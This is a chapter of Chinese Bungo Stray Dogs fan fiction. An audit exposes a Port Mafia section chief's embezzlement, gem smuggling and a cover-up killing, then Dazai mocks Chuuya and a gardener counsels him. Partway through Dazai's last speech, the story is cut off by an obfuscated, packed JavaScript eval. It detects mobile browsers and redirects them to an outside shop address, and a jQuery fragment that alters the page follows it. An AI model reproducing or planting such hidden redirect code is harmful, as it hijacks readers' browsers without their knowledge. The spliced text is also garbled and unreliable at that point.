27.亲爱的朋友们,今天来相会~(下)
作品:《[文野]干部先生请放过我的盆栽》 ——
“藤本,切换投影仪画面,准备高清文件拍摄仪。”
“是!”
审计员藤本迅速撤下折线图
屏幕短暂地陷入一片空白,映出会议室里众人神色各异的脸。
接着,他快步从设备箱里取出拍摄仪,安装在投影仪延伸臂上,调整好焦距和灯光。
森川拿着文件,步履沉稳地走向台前
他将文件轻轻放在拍摄仪的托盘上,调整了一下角度,确保每一页都能被清晰捕捉。
他按下拍摄仪的开关,一束冷光打在文件白色的扉页上。
投影屏幕再次亮起
《关于“蓝宝石之心”项目及相关财务,物资流程异常证据汇编》的标题,以及下方那行“呈递:港口黑手党审计部 / 时间:即日”的小字,被放大了数倍,呈现在所有人面前
“基于刚刚收到的这份匿名材料,”
森川开口,声音清晰地传入每个人耳中,“以及材料本身的完整性,专业性和所呈现证据的严重性,我认为有必要中止原有的问答流程。”
他顿了顿,目光锐利地扫过桥本,“接下来的时间,我们将共同审阅这份‘汇编’。桥本科长,太宰干部,中原准干部,以及各位,在此期间请保持安静。任何问题或澄清,请在全部展示结束后,按程序提出。”
这不是商量,这是宣告。
中原中也的心脏猛地一缩。
森川的手指,翻开了扉页。
目录页。
A、B、C、D四个大类,下面分列着细目。
虚假报废,盗卖装备,走私宝石,偷梁换柱。虚报费用,套取现金,核心罪证,掩盖罪行,杀人灭口……
“嘶——”
中也身后的秘书倒吸了一口冷气,脸色发白
桥本站在投影幕布旁,激光笔早已脱手掉在地毯上。
他想动,想喊,想阻止,但森川那不容置疑的气势,以及屏幕上那触目惊心的目录,将他的声音死死钉在喉咙里。
中也的呼吸屏住了,他的目光急速扫过那些条目。
A类他隐约有所预感,B类让他心惊,C类令他愤怒,而D类……
核心罪证,杀人灭口
他负责的项目底下,不仅仅有蛀虫,还有命案?!
森川没有在目录页停留太久
他翻开正文
证据编号A-01:战术套件虚假报废实证
高清彩色照片充满了整个屏幕,崭新反光的“猎犬”战术套件,包含手套,目镜,作战服,被整齐排列在地上。旁边,是一张放大的、同样清晰的单据照片,上面“高强度对抗中完全损毁”的红色印章和手写批注,显得刺眼而荒谬。
森川不语,继续翻页。
证据编号A-02:专业鉴定报告
资产回收科的标准报告模板,结论部分被红框醒目地标出:“所述装备功能完好,性能参数达到出厂标准95%以上,所谓‘高强度对抗损毁’与事实严重不符。”下面是鉴定员的签名和印章,以及报告出具日期。
“资产回收科……”
中也喃喃道,他想起了太宰提醒过的,荒芜花园里唯一一块好苗圃。难道……
证据编号A-03/A-04……
一张张照片,一份份内部记录,有被迫签署的矛盾文件,有被磨掉编号的引擎特写,有资产回收科内部系统留言的截图,以及后面跟着的、被秋山主任粗暴驳回的通讯记录。
铁证如山,层层递进,不仅证明了造假,还证明了系统性的压制和掩盖。
桥本的身体开始微微摇晃,他不得不伸手扶住旁边的演讲台边缘,指关节捏得发白。
台下,佐佐木面如死灰,低着头,不敢看屏幕,也不敢看任何人。
森川翻页的速度平稳而坚决,仿佛一位冷静的解剖医生。
B类证据出现。
证据编号B-01:宝石伪装转运现场记录
照片有些模糊,显然是偷拍,但足以辨认出岛田队长的侧脸,物资科值班员村濑的身影,以及——青木胜也,新人入职的第一名,正拿着电子笔,在一个平板设备上签字。旁边的速记文本被放大:“青木签字确认,箱隙见蓝光,疑似未切割宝石!大量!”
会议室里的温度骤降。
接着是B-02:计划书矛盾条款,红笔划下的线条清晰可见
B-03:码头火拼现场证物,箱子的照片,蓝宝石碎屑的特写,那句用加粗字体打出的敌方喊话记录——“港口黑手党不讲信用!桥本那个狗东西!”
B-04:未销毁的走私品实物,指向了被今井主任紧急封存的D区仓库货物。
每读过一条,桥本的脸色就灰败一分,扶着演讲台的手颤抖得越来越厉害。
中也的拳头在桌下紧紧攥住。
他现在完全明白了,那条陡峭上升的“待报废零件”曲线,对应的到底是什么!
那不是零件,那是被伪装起来的,源源不断流失的宝石和装备!而自己,作为项目负责人,竟然一无所知,甚至……成了这桩罪恶的门面和保护伞?
C类证据相对简短,但同样致命。阴阳运输单据的并列对比,路线图的嘲讽,问题发票的汇总,以及最新一张发票上那模糊却与B-01证据中箱子编号部分重合的箱号
所有这些“不起眼”的费用虚报,像无数细小的血管,为贪污主体输送着养分,也留下了无法磨灭的痕迹。
然后,来到了D类。
屏幕上的文字似乎带上了更沉重的分量。
证据编号D-01:境外资金账户关键文件
那张被拼接起来的瑞士银行确认函副本出现了
银行的徽标,以及那个清晰的英文签名“Hashimoto”,在高清投影下,每一个笔画都无可辩驳,旁边是项目备用金异常划拨的批复单,指向同一个境外机构。
一声嘶哑的喊叫堵死在桥本的喉咙口。
那个清洁工……那个该死的清洁工!
证据编号D-02:被破坏的电子密钥。
证据编号D-03:宝石销赃资金流向实证。
森川翻页的动作几不可察地停顿了半秒。
《特殊资产处置收益入账通知单》,《外部合作方付款确认书》,《跨境汇款申请单》复印件
三份文件,将“宝石(伪报废品)—虚假交易(山下运输)—洗钱账户(振兴基金)—最终落点(瑞士个人账户)”的路径,赤裸裸地呈现出来。
时间,金额,签名,批示,环环相扣。
最后,是三名财务科新人的联名手写信和指印。
高木彻,森下爱莉,原田健一。
三人的文字不仅坐实了宝石被偷梁换柱,低价处理,更直接指控桥本组长个人控制的境外账户是最终受益方,并声明愿实名承担一切责任。
没有人不清楚实名的重量
会议室内死寂一片,只有文件拍摄仪风扇轻微的嗡鸣,和桥本越来越无法控制的粗重喘息。
佐佐木已经瘫坐在椅子上,双目失神。
刺骨的寒意笼罩了中也
这不是简单的贪污,这是一套完整,精密,冷血的犯罪体系。
而他,坐在负责人席位上,却像个被告人。
森川深吸一口气,翻开了最后一份实质性证据。
和前述证据不同,它单开一页
证据编号D-05:毁灭证据的直接证据
深夜异常粉碎记录,证人证言,情况说明,实物证物,内部证言……
当“杀人灭口”这四个字以书面形式,伴随着现场证物和内部证言出现时,性质彻底改变了。
“砰!”
一声闷响。
是中原中也的拳头,重重砸在了厚重的红木会议桌上。
他猛地站起身,眼眸里燃烧着怒火和耻辱,死死盯住摇摇欲坠的桥本。
「如果一个认真遵守了所有规则的人,却因此而被杀了,这样的规则,还成立吗」
“桥本——!!”
“中原准干部。”
森川平静的声音响起,打断了中也
“请克制,流程尚未结束。”
中也胸口剧烈起伏,但他死死咬住牙,硬生生将后面的话咽了回去。
他感到的不仅是愤怒,还有一种被狠狠背叛和利用的恶心感。
他的项目,他的信任,他的职责,全都成了笑话。
森川最后翻到了附录页。
那行简洁的打印字出现在屏幕上:
“本汇编所有证据,均来源于港口黑手党内部正常业务流程记录,现场勘查,以及恪尽职守的底层工作人员之眼。蛀虫蚕食组织之基,唯事实与证据可涤清污秽。”
“代表署名:一位不愿透露姓名的清洁工”
这份结语,没有煽情,没有控诉,只是陈述了一个事实,却蕴含着难以言喻的力量和讽刺。
森川沉默地看着这行字,足足看了五秒钟。
然后,他关掉了文件拍摄仪的灯光。
屏幕暗了下去,会议室重新被正常的顶灯照亮,但每个人脸上都仿佛还残留着刚才那些证据投射出的光影。
四类证据,加上两小袋宝石碎屑
铁证如山,足以定罪
“材料展示完毕。”
森川的声音在寂静中回荡,“基于目前已掌握的证据,其指向性,完整性和严重性,已超出常规审计范围。”
他目光如刀,直射桥本
“桥本科长,对于上述证据汇编中所列举的所有事项,包括但不限于系统性虚假报废侵吞资产,勾结外部走私并侵占组织贵重物资,利用职权虚报费用套取资金,非法设立并控制境外账户转移赃款,以及涉嫌为掩盖罪行而毁灭证据乃至涉及人员非正常死亡事件,你有什么需要解释或澄清的吗?”
“我……我……”
桥本张了张嘴,却连一句完整的话都说不出来。
“扑通”一声。
他双膝一软,直接跪倒在了会议室的地毯上。
“不……不是的……是……是他们逼我的……那些钱……账户……我……”
语无伦次,彻底崩溃。
森川面无表情地看着瘫倒在地的桥本,对藤本示意:“记录在案,嫌疑人桥本健一,在初步证据质询环节,放弃陈述,且呈现精神崩溃迹象。”
他转向另一名审计员:“通知安保部,立刻控制桥本健一及其直属心腹佐佐木和荒野,隔离审查。查封财务科相关办公室及所有电子设备,文件柜。”
“是!” 两名审计员立刻行动起来。
森川这才将目光转向脸色铁青,依旧处于巨大震惊与愤怒中的中原中也。
“中原准干部,”
他的语气稍微缓和,但依然公事公办
“作为‘蓝宝石之心’项目总负责人,项目出现如此重大,系统性的问题,您负有不可推卸的监管责任。在彻底查清事实,厘清责任之前,请您暂时停止项目的一切指挥权,并需要全力配合审计部及后续可能展开的专项调查。这是流程,请您理解。”
中也的嘴唇抿成直线,重重地点了一下头:“……好。”
森川不再多言,收好文件和证物袋,带着审计组的人,如同进来时一样冷静有序地离开了会议室。佐佐木和瘫软的桥本也被安保人员带走。
偌大的会议室里,瞬间只剩下中原中也,秘书和太宰治三人。
“扑通!———”
又是膝盖和地毯碰撞的声音,
来自中也身后——他的私人秘书
一个跟了他半年,总是沉默勤勉的年轻人。
那年轻人面色惨白如纸,额头重重磕在地毯上
“中……中原大人……对……对不起……”
他的声音破碎,混杂着恐惧和哽咽,“我……我收了桥本科长的钱……每次……每次您计划要去仓库巡查前……我都……我都提前告诉他了……”
中也愣住了,一时之间甚至没反应过来这句话的含义。
秘书将额头死死抵住地毯,不敢抬头,语速越来越快
“他说……说只是想确保仓库‘整洁’,不给您添麻烦……我……我没想到他们是在做那种事!我真的不知道!但……但我知道自己错了……求您……求您……”
中也缓缓转过身,看着那个几乎蜷缩在地上的身影。
他想起自己几次临时起意改变行程,却发现仓库备货“异常充足”,想起自己曾随口对秘书提过下一次的核查重点……
原来,自己所谓的“突击检查”,在别人眼里,从来都是一场提前收到剧本的表演。
“你……”
中也的声音很轻,干涩沙哑,“你居然……”
就在这时,角落里传来一声叹息。
“啊啦,看来这里……还有一条自知之明的漏网之鱼呢。”
太宰不知何时已经走到了台前
他掏出通讯器,用清晰而平淡的语气说:“进来两个人,18层大会议室。带走一个主动坦白的协同舞弊者。动作轻点,别打扰了中原准干部……思考。”
他话音刚落,会议室的门就被无声推开
两名穿着黑色制服、面无表情的黑蜥蜴迅速走入。
他们径直走向瘫软的秘书,一左一右,极其专业且沉默地将他架了起来。
秘书没有挣扎,只是最后用泪眼模糊的视线看了中也一眼,然后便被带离了会议室,消失在走廊的阴影中。
门再次关上。
中也依然坐在那里,盯着面前空无一物的桌面
太宰随手捡起了地上那支被桥本遗落的激光笔,在指尖漫不经心地转着。
“精彩,真是精彩。”
他的声音带着毫不掩饰的愉悦,“一场由清洁工主导,审计组搭台,财务科唱戏的……完美落幕。你说呢,中也?”
沉浸在颓丧中的中也霍然抬头:“太宰!你少在这里说风凉话!这一切都是你……”
“我怎么了?”
太宰歪着头,一脸无辜,“我又不是项目负责人。我只是个旁观者。哦,对了,最开始把项目书给你的时候,我是不是说过一句?”
他做出回忆的样子,“‘框架还行,就是细节上留了点‘灵活性’,方便你应对突发状况’?哎呀,现在看来,这‘灵活性’是不是有点太灵活了?灵活到能让老鼠打洞,蛀虫做窝?”
中也的瞳孔骤然收缩。
太宰交给他的,那份计划书母本里果然有猫腻!
什么“框架还行”,根本就是个诱人堕落的陷阱!
“混蛋太宰……你从一开始就在算计我!”
“算计?”
太宰轻笑一声,激光笔的红点在空中划过一个嘲讽的圈,最终落在中也面前的桌面上,
“中也,你可是港口黑手党最忠诚,最锋利的刀。我算计你什么?算计你会像桥本那样贪钱?算计你会对眼皮底下的肮脏视而不见?”
他凑近了一些,声音压低,却字字诛心,
“不,我算计的,或者说,我期待的,正是你现在这副失魂落魄的样子啊,因为你从来只相信你拳头能打到的东西,只看得见明面上的敌人。对于藏在规则缝隙里,躲在忠诚表象下的蛆虫,你这双只会用重力的眼睛,根本就是瞎的。”
他直起身,用激光笔的红点点了点自己的太阳穴:“真正的腐蚀,从来不是来自外部的攻击,而是来自内部被纵容的贪婪。我给你那份计划书,只是想看看,在你这样‘正直’的管理下,那些藏在条款阴影里的‘可能性’,会被放大到什么程度。是会被你敏锐地发现并修正,还是……成为滋养罪恶的温床?”
他耸耸肩,笑容冷淡,“结果嘛,显而易见。你忙着用重力碾压外敌,忙着维护你‘负责准干部’的威严,至于脚下的地基是不是早就被蛀空……你哪有空低头看呢?”
“混蛋——!!”
中也再也无法忍受,猛地站起身,重力异能的红光亮起。
太宰却纹丝不动,甚至笑得更加开心
“啊啦,要动手吗?在这里?中也,你的脑子果然永远跟不上你的肌肉。”
他无视中也狂暴的杀气,转身走向门口,语气恢复了那种轻飘飘的戏谑
“不过,托你的福,这场戏看得我很满意。至少证明了,再华丽的宝石项目,交给一个只会低头猛冲,不懂低头细看的肌肉笨蛋,最终也只会变成粪坑。而清理粪坑的,往往是你最看不起的那些……嗯,‘清洁工’。”
他在门口停下,回头
“好好享受这份‘审计教材’吧,重力使大人。记得感谢那位‘清洁工’小朋友哦,他不仅清理了垃圾,还免费给你上了一课——关于如何真正地‘负责’。虽然这学费,贵得让你有点丢脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131968|193662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就是了。”
哼着不成调的歌,太宰心情极佳地离开了会议室
留下中也一人,独自面对满室的狼藉和心中翻腾的惊涛骇浪。
面对太宰的讽刺,他无法反驳。
他的急躁是事实,他的失察是事实,他的傲慢是事实,他甚至可能无形中成了罪恶的帮凶……
他缓缓抬起手,看着自己的掌心。
这双手能操控重力,毁灭强敌,却连自己麾下最基本的污秽都察觉不了,保护不了。
连一直跟随自己左右的秘书,都被策反了
他信赖的,器重的,依靠的手下,原来自始自终,都只把他当成犯罪的遮羞布。
「守规则的人被动了,就是在所有按规则做事的人脸上甩耳光!这他妈能忍?找到是谁干的,然后碾碎他——这才是规则该有的样子!」
「中也,你就好好休息吧……在你的死为“羊”做出最后的贡献之后」
他抓起桌上的黑色礼帽,用力扣在头上,走出了会议室。
——
港口黑手党总部大楼,48楼,花园
直到清新微冷的空气涌入鼻腔,中也才反应过来他身在何处。
临近正午,阳光已经变得明亮而温暖,毫不吝啬地洒在每一寸土地上。
眼前的景象让他微微一怔。
那四片苗床上的杂草都消失了,板结的土壤被重新翻过,变得湿润疏松。角落里那些碍眼的零食包装和空罐子也早已消失不见。
那块靠近砖房的苗床,绿意更加盎然。十几株幼苗都长高了一些,甚至有几株已经抽出了细小的花苞。
一个穿着蓝色卫衣的中年男人正半蹲在那片好苗圃旁,仔细地给一株幼苗的根部松土
中也的脚步顿住了。
他记得他,远藤守
一个多月前,他就站在这里,目睹了自己如何盛怒地带走了……
远藤察觉到了身后的目光,缓缓转过头。
看到中也时,他脸上并没有太多惊讶,只是放下铲子,扶着膝盖站了起来。
“中原先生。”远藤点了点头,语气平和。
中也张了张嘴,一时间竟不知该说什么。
道歉?为自己当初的粗暴闯入?还是为自己的鲁莽导致这片花园荒芜,甚至牵连更广的罪恶?哪一种道歉都显得苍白又可笑。
他的目光下意识地扫过花园,似乎在寻找另一个身影。
“璃久……望月他不在,这个时间,他一般都在打扫三大楼的盥洗室。”
远藤的声音温和,没有半分指责和阴阳怪气。
“哦……”
中也嘟囔一句,神情有些空茫
他竟然有一瞬间,期待在这里看到那个少年。
期待什么?质问?怒视?还是……
他其实根本不知道该用何种面目去见那个被自己打入清洁科,又凭一己之力掀翻整个审计过程的“小怪物”
“……他……”中也的喉咙有些干涩,视线落在砖房边的苗床上,“……每天都会来?”
远藤微微一笑:“嗯,天没亮的时候来,赶在清洁科报道前。”他顿了顿,补充道,“在你把他调去清洁科之后,也从没间断过。”
这句话很轻,只是陈述事实,却更让中也感到无地自容。
那个被他判定为废物,需要惩戒的垃圾少年,始终在用一种沉默而坚韧的方式,坚守着某种东西。
而自己,作为掌握权力的一方,又做了什么?
“远藤先生……”
中也摘下了帽子
第一次,在比自己低职位的人面前
“关于……望月……关于之前我在这里的鲁莽,还有……真的,很抱歉。”
他知道这句道歉,来得太迟,来得太轻
但他无论如何,都应该这么做
为了远藤,为了望月,为了……所有因为自己的失察而遭受痛苦的人……
远藤静静地看了他几秒,没说什么,只是指了指不远处的凉亭
“坐一会儿吧,中原先生。太阳很好,适合说说话。”
中也犹豫了一下,跟着远藤,一前一后走到凉亭下
他让出了唯一的那块石头,自己盘腿坐在地上。
“中原先生,您知道吗。”
远藤缓缓坐下,看向不远处的四块苗床
“土地啊,它不会说话,但它会告诉你答案。你敷衍它,它就还你一片荒草,你认真待它,哪怕只是很小一块,它也会报以新绿。”
中也沉默地听着,
和之前太宰的一样,他知道这不仅仅是关于园艺。
远藤指了指远处那片好苗圃,又指了指周围的荒芜
“出了问题,光生气,光追究是谁撒错了种子,谁没来浇水,是没用的。你得先低下头,看清楚土里到底长了什么,根子烂在哪里。然后把该拔的草狠心拔掉,该补的苗耐心补上。”
“最重要的是,得学会分辨,哪些是真正在照料土地的人,哪些,又是只会做表面功夫,实际对这片土地有害的人。”
表面功夫……
中也想起最初,桥本汇报的那些内容
「周转速度提升了27%,单位运营成本(包括运输、保管和‘打点’费用)下降了15%,月净利润环比增长42%,应收账款周转天数从9.5天降到了6.1天」
他嘴角动了动,扯出一个苦笑
现在听来,矛盾简直明显的离谱,而当时志得意满的自己竟然信以为真,还喝了一晚上的庆功酒
“但其实,光明白这些,还不够。”
中也抬起头,凝神细听
“最难的,是学会观察泥土下面的动静,知道什么时候该松土,什么时候该施肥,什么时候……仅仅看着,让它们自己生长就好。”
远藤笑了笑,话语中带着一丝充满谦卑的克制,“管理一个花园,和指挥一场战斗,或许不一样。战斗要快,要狠,要摧毁目标。但照顾一个花园,需要的是耐心,观察,和……允许它按照自己的方式呼吸。你要做的不是控制一切,而是在它需要的时候,给予恰到好处的帮助。”
中也静静听着,眼神恍惚
太宰指责他“瞎”,只看得见明面的敌人。而远藤则告诉他,真正的“看”,是细致入微的观察,分辨与等待。
“我……”
中也的声音带着挫败,“我以为把项目做好,把敌人打跑,就是负责。我没想到……‘负责’还需要去看那些藏在条款里。笑脸下的‘杂草’……”
“羊”的背叛,会不会也是因为……
远藤看着他,眼神中没有责备
“中原先生,您作为重力使,守护着港口黑手党的大门,抵御外敌,这是无人可以替代的功绩。但大门内的庭院,也需要园丁来细心照料。园丁失职,庭院荒芜,但若因为园丁发现了害虫,就去责怪守门人为何没早用重力把害虫压死……这本身,也是一种苛责,不是吗?”
中也的眼睛睁大了,眸中闪过一丝动容
他没想到远藤不仅没有责备他,甚至,在为他辩护……
“我……不会推卸责任。”
中也低声说着,声音有些哽咽,“该我承担的,我不会逃避。只是……”
他看向远藤,眼眸中仍有困惑,“我该如何……才能看到那些‘杂草’?”
远藤笑了,那笑容通透澄净,如同头顶水洗般的蓝色晴空
“打理一个花园,需要的是耐心,观察,是分辨哪些该留,哪些该除的细微眼力,是知道何时浇水,何时施肥的恰当分寸。这些,都是和强大的重力不同的力量。”
“如果,您实在不知道该如何做,可以先从低下头开始。”
不是一味地朝前看,而是低下头,时刻确认自己是否走在正确的路上。
中也恍惚的眸中闪过一道光
一年多前,入职时首领对他说的那些话,如今听来,每一句都是绝佳的提醒
他笑了笑,又懊恼地揉了揉脑袋
一年多了,中原中也依然没能成为一个好老大
他刚愎自用,他鲁莽急躁,他依然不懂人性
但
中也重新戴上帽子,目光投向砖房下,苗床里细小的花苞
但他可以重新开始学习
学习如何不再仅仅做一把一往无前的刀。
学习如何低下头,真正听一听角落里的声音

